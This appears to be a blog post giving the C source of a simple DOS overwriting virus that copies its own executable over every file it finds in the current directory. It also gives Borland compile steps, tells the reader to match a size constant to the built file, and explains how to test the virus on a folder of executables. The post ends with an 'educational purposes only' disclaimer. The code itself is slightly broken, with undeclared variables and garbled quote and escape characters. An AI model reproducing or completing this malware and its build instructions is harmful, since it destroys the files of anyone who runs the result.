THIS PROGRAM IS AN EXAMPLE OF HOW TO CREATE A VIRUS IN C. THIS PROGRAM DEMONSTRATES A SIMPLE VIRUS PROGRAM WHICH UPON EXECUTION (RUNNING) CREATES A COPY OF ITSELF IN THE OTHER FILE. THUS IT DESTROYS OTHER FILES BY INFECTING THEM. BUT THE VIRUS INFECTION FILE IS ALSO CAPABLE OF SPREADING THE INFECTION TO ANOTHER FILE AND SO ON. HERE'S THE SOURCE CODE OF THE VIRUS PROGRAM.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %sn”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:
USING BORLAND TC++ 3.0 (16-BIT):
1. LOAD THE PROGRAM IN THE COMPILER, PRESS Alt-F9TO COMPILE.
2. PRESS F9 TO GENERATE THE EXE FILE (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDING YOUR COMPILER).
3. NOTE DOWN THE SIZE OF GENERATED EXE FILE IN BYTES (SEE EXE FILE PROPERTIES FOR IT’S SIZE).
4. CHANGE THE VALUE OF X IN THE SOURCE CODE WITH THE NOTED DOWN THE SIZE (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT).
5. ONCE AGAIN FOLLOW THE STEP 1 & STEP 2. NOW THE GENERATED EXE IS READY TO INFECT.
USING BORLAND C++ 5.5 (32-BIT) :
1. COMPILE ONCE, NOTE DOWN THE GENERATED EXE FILE LENGTH IN BYTES.
2. CHANGE THE VALUE OF X IN SOURCE CODE THESE LENGTH IN BYTES.
3. RECOMPILE IT. THT NEW EXE FILE IS READY TO INFECT.
HOW TO TEST:
1. OPEN NEW EMPTY FOLDER.2. PUT SOME EXE FILES (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. RUN THE VIRUS EXE FILE THERE YOU WILL SEE ALL THE FILES IN THE CURRENT DIRECTORY GET INFECTED.
4. ALL THE INFECTED FILES WILL BE READY CORE-INFECT.
THAT’S IT.
WARNING: THIS IS FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.
Comments
Post a Comment